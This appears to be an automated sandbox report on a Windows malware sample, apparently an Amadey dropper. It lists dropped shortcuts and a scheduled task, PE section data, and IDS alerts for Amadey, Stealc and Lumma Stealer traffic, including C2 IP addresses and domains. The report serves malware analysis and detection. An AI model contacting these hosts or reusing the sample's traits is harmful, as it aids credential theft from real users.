SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 7 10:27:15 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.978610720926279
Encrypted:	false
SSDEEP:	48:82dqTWm+HQidAKZdA19ehwiZUklqehOy+3:87LFVy
MD5:	FE44B2D9272373185B8A4D3E58181C66
SHA1:	98517007CACE824C33D4FBF3EDFFA7CC45E63EFC
SHA-256:	793F0DAEF4AEA2BB4C2BC4EDD03D6EF4AD960FCF5A36E39A0ECAE42EDCC5EFDC
SHA-512:	CD56B275AFD68A653EDAC78D61AEBC68ACC6F40BFB15317D9D8F13E7929F88431A2E727CC039DE261C2F75414CAECA35A75871AF1D56EB23B2FF5CAEE2B7CB9A
Malicious:	false
Preview:	L..................F.@.. ...$+.,....C.<....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IGYf[....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VGYf[....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VGYf[....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VGYf[..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VGYh[...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............v.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 7 10:27:15 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9915208128689392
Encrypted:	false
SSDEEP:	48:8gdqTWm+HQidAKZdA1weh/iZUkAQkqehFy+2:8ZLf9QMy
MD5:	041A3EB52F30BF6D02B8BC4A8C4E0A01
SHA1:	CA390E591F0C3E8FE2AB531B7A65F8F6D2604E65
SHA-256:	5B5444ED3E85971D54C7FE48768A454AF012A169AC968FDBBF931842EEC1F94F
SHA-512:	1FDEF054F8C9B9B1245406DE07D473130A25CB261DCC70E8E2766F5B6FE539BCABBE5BEC1F4DD69856FFA4EF6D8A32725BF81AC1005654DE6DF45BA6F5E2F670
Malicious:	false
Preview:	L..................F.@.. ...$+.,......0....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IGYf[....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VGYf[....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VGYf[....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VGYf[..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VGYh[...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............v.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.003798709393488
Encrypted:	false
SSDEEP:	48:8x/dqTWmsHQidAKZdA14tseh7sFiZUkmgqeh7sTy+BX:8x4LZnRy
MD5:	E51BE91055AE7910AE3EC0636B3D28E0
SHA1:	19F3158081F60710E23C385284513D806F0E7878
SHA-256:	FB7812AF410AFDDE9397D9801767D99D9679B14BF15FD72B4B8CFAEBA01BCB26
SHA-512:	274C444FA4E538F82D9603B813BF8F2BAB468EFC005B0B00D5F9289AF3E54A905CCF95CEC95625D7BB9E2B40A4DCAF5085B7144BBDCD2B8AD3D0FF3DA4B1F882
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IGYf[....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VGYf[....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VGYf[....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VGYf[..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............v.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 7 10:27:14 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9884850782772703
Encrypted:	false
SSDEEP:	48:8xdqTWm+HQidAKZdA1vehDiZUkwqeh5y+R:8+Lcby
MD5:	DAB43A59E81F09E0B8EEA71C5ECB19CC
SHA1:	8C5ACB2EC1F703BD439DF38C15A29047773DD793
SHA-256:	48A447D6F9E3542157B246CAC1A5216A545F74B49186001DED2EEEAD8B5DC65F
SHA-512:	A5471E858CD7F734659B03003EBFF25E905283C87EA5933677AB8C4479D42EB015D324D24CE67FA411FF6DD9C5EF5AF70367100D5EB86F7E48CB3B8A0AC64C9E
Malicious:	false
Preview:	L..................F.@.. ...$+.,....h.)....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IGYf[....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VGYf[....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VGYf[....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VGYf[..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VGYh[...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............v.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 7 10:27:15 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.981580826288782
Encrypted:	false
SSDEEP:	48:83dqTWm+HQidAKZdA1hehBiZUk1W1qeh/y+C:8gLs9fy
MD5:	613A1B64E8C3C879BAACEDDC443F9980
SHA1:	66F53FA3E14A3F9C3C86EC7ADFA3F7C9A80A1EA6
SHA-256:	E1AECDB57B73981C1840F5A113BE555C8F02E2FA9060A7B2F71198DC04FDB54E
SHA-512:	09511D6E77155891E89E305D0A21CAD435E4D1329C64441EDB04A060333C8E12735AD3572B3E1124AB33D31CA1C49A1023BDED37EFCA0A3063826E55AA4A3FA2
Malicious:	false
Preview:	L..................F.@.. ...$+.,......7....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IGYf[....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VGYf[....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VGYf[....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VGYf[..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VGYh[...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............v.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 7 10:27:14 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.989493284338502
Encrypted:	false
SSDEEP:	48:8jdqTWm+HQidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbRy+yT+:8MLCT/TbxWOvTbRy7T
MD5:	7CA0E1FDA19B17E5DB82E410C0FFE680
SHA1:	3C390D09FF7A01FAB478EC75C6EEED70C4C9FC05
SHA-256:	67421A4D6011C8D0EC49D839F766DA22370A148F69F0550787D95BA8EB6116B2
SHA-512:	EB08BB727E9F6FCBF0F5133166790FED0F4989913413BFC3A2C9EC2390B5A13616471CA908E9C9265F827D6B573E615B895F331595BEE706B2C694C405278C0A
Malicious:	false
Preview:	L..................F.@.. ...$+.,...........N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IGYf[....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VGYf[....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VGYf[....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VGYf[..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VGYh[...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............v.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\xwZfYpo16i.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.3787470286033905
Encrypted:	false
SSDEEP:	6:NQRadlVX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lv/Yct0:NbnRuQ1CGAFifXVvgct0
MD5:	5414C2A7BFADB200DDF9D9C56AB9BE0E
SHA1:	ADD57ED924E1273CCC431A2582455A1228821186
SHA-256:	9AAD1C8345D83018838FBEDFF144EB831126F71A00949BC9A6C09EF4AADCF11E
SHA-512:	B103107BDBADBCD9918C64E4E3E8BE07EAF33346B67D12BC284E985BEFCB73FD078B520F04F87536619ACFB97AFE88CBE1C2096D3CF2A0838EAF3EDC358ACEAA
Malicious:	false
Preview:	......O.s.mE..8.%.7.F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.953554475766895
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	xwZfYpo16i.exe
File size:	1'906'688 bytes
MD5:	a7cd5139890144e22b955bc41174f22b
SHA1:	1df1e8066fca31d34e60fdb40b0e3866f34ed941
SHA256:	d0175428447d496447f5f940366744ad3a300e8b3116a2a7852969fac0d12835
SHA512:	cc230c3287dc27d3e3f10b3c06edde049aff38e8dbef1e6dba56c445ddcfdda9ac9c39cc22990b87e2e9153b3c03d6b30b4e19fef38a037a0c8f7b98e21194d2
SSDEEP:	24576:vaKXMe4nV8bZI6QqW3eBkqzCTaekGEkogC2UnxJmoui/Ffamrk5S7El8fUceRO4:RXMlau30O2ZYUgsFpOt88cQ
TLSH:	209533A95F515F94FC8BD939E5C8CDCCD384950BE9910899F81B40B0E0C6DF621AB8DB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8bb000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F6BF49A6C8Ah
psadbw mm3, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F6BF49A8C85h
inc ecx
push bx
dec esi
dec ebp
das
xor al, 36h
dec edi
bound ecx, dword ptr [ecx+4Ah]
dec edx
insd
push edi
dec eax
dec eax
jbe 00007F6BF49A6CF2h
push esi
dec edx
popad
je 00007F6BF49A6CEBh
push edx
dec esi
jc 00007F6BF49A6CFAh
cmp byte ptr [ebx], dh
push edx
jns 00007F6BF49A6CC7h
or eax, 49674B0Ah
cmp byte ptr [edi+43h], dl
jnc 00007F6BF49A6CCDh
bound eax, dword ptr [ecx+30h]
pop edx
inc edi
push esp
push 43473163h
aaa
push edi
dec esi
xor ebp, dword ptr [ebx+59h]
push edi
push edx
pop eax
je 00007F6BF49A6CD7h
xor dl, byte ptr [ebx+2Bh]
popad
jne 00007F6BF49A6CCCh
dec eax
dec ebp
jo 00007F6BF49A6CC3h
xor dword ptr [edi], esi
inc esp
dec edx
dec ebp
jns 00007F6BF49A6CD0h
insd
jnc 00007F6BF49A6CF0h
aaa
inc esp
inc ecx
inc ebx
xor dl, byte ptr [ecx+4Bh]
inc edx
inc esp
bound esi, dword ptr [ebx]
or eax, 63656B0Ah
jno 00007F6BF49A6CD8h
push edx
insb
js 00007F6BF49A6CF1h
outsb
inc ecx
jno 00007F6BF49A6CD2h
push ebp
inc esi
pop edx
xor eax, dword ptr [ebx+36h]
push eax
aaa
imul edx, dword ptr [ebx+58h], 4Eh
aaa
inc ebx
jbe 00007F6BF49A6CCCh
dec ebx
js 00007F6BF49A6CC3h
jne 00007F6BF49A6CB1h
push esp
inc bp
outsb
inc edx
popad
dec ebx
insd
dec ebp
inc edi
xor dword ptr [ecx+36h], esp
push 0000004Bh
sub eax, dword ptr [ebp+33h]
jp 00007F6BF49A6CDCh
dec edx
xor bh, byte ptr [edx+56h]
bound eax, dword ptr [edi+66h]
jbe 00007F6BF49A6CBAh
dec eax
or eax, 506C720Ah
aaa
xor dword ptr fs:[ebp+62h], ecx
arpl word ptr [esi], si
inc esp
jo 00007F6BF49A6CF3h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4b9d30	0x10	pdwvfcxw
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4b9ce0	0x18	pdwvfcxw
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	f6847bc72c00a2724222641fd92e8286	False	0.9982863589918256	data	7.984491031555736	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x1e0	0x200	b7d16686b376821266a9345c26b7e6d6	False	0.53125	data	4.7176788329467545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2af000	0x200	1f66f43958d622f37d25b4e6eb46736d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pdwvfcxw	0x31a000	0x1a0000	0x19fe00	4416f946bad3051d5faea8b7facaafbc	False	0.9948791375488428	data	7.954151445076012	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
bgplyofn	0x4ba000	0x1000	0x400	3930495b8f1e84abf152dcb99354571f	False	0.8076171875	data	6.304556230049834	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4bb000	0x3000	0x2200	2268083435df61782fa710cb29408f6b	False	0.3723575367647059	DOS executable (COM)	4.038822294532068	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-07T13:27:04.696470+0200	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49904	185.215.113.43	80	TCP
2024-10-07T13:27:08.244842+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49925	185.215.113.103	80	TCP
2024-10-07T13:27:11.528104+0200	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	49920	TCP
2024-10-07T13:27:15.584034+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49951	185.215.113.43	80	TCP
2024-10-07T13:27:21.293884+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50003	185.215.113.103	80	TCP
2024-10-07T13:27:21.293884+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	50003	185.215.113.103	80	TCP
2024-10-07T13:27:23.335796+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50012	185.215.113.37	80	TCP
2024-10-07T13:27:25.036226+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50019	185.215.113.43	80	TCP
2024-10-07T13:27:25.753566+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50023	185.215.113.103	80	TCP
2024-10-07T13:27:30.054965+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.5	63892	1.1.1.1	53	UDP
2024-10-07T13:27:30.123278+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.5	63849	1.1.1.1	53	UDP
2024-10-07T13:27:30.141186+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.5	62540	1.1.1.1	53	UDP
2024-10-07T13:27:30.263305+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.5	56226	1.1.1.1	53	UDP
2024-10-07T13:27:30.283409+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.5	55322	1.1.1.1	53	UDP
2024-10-07T13:27:30.305175+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.5	61141	1.1.1.1	53	UDP
2024-10-07T13:27:30.322971+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.5	64153	1.1.1.1	53	UDP
2024-10-07T13:27:30.338115+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50028	185.215.113.43	80	TCP
2024-10-07T13:27:30.347636+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.5	60548	1.1.1.1	53	UDP
2024-10-07T13:27:32.751873+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	50031	172.67.206.204	443	TCP
2024-10-07T13:27:32.751873+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50031	172.67.206.204	443	TCP
2024-10-07T13:27:39.542721+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50035	185.215.113.37	80	TCP
2024-10-07T13:27:49.628014+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.5	64118	1.1.1.1	53	UDP
2024-10-07T13:27:49.640141+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.5	63944	1.1.1.1	53	UDP
2024-10-07T13:27:49.653771+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.5	55255	1.1.1.1	53	UDP
2024-10-07T13:27:49.664856+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.5	51257	1.1.1.1	53	UDP
2024-10-07T13:27:49.676209+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.5	50387	1.1.1.1	53	UDP
2024-10-07T13:27:49.687443+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.5	60396	1.1.1.1	53	UDP
2024-10-07T13:27:49.700402+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.5	50418	1.1.1.1	53	UDP
2024-10-07T13:27:49.712916+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.5	62799	1.1.1.1	53	UDP
2024-10-07T13:27:52.914749+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	50043	172.67.206.204	443	TCP
2024-10-07T13:27:52.914749+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50043	172.67.206.204	443	TCP
2024-10-07T13:28:04.325085+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50048	185.215.113.37	80	TCP
2024-10-07T13:28:12.383686+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.5	56471	1.1.1.1	53	UDP
2024-10-07T13:28:12.397499+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.5	61767	1.1.1.1	53	UDP
2024-10-07T13:28:12.414390+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.5	63760	1.1.1.1	53	UDP
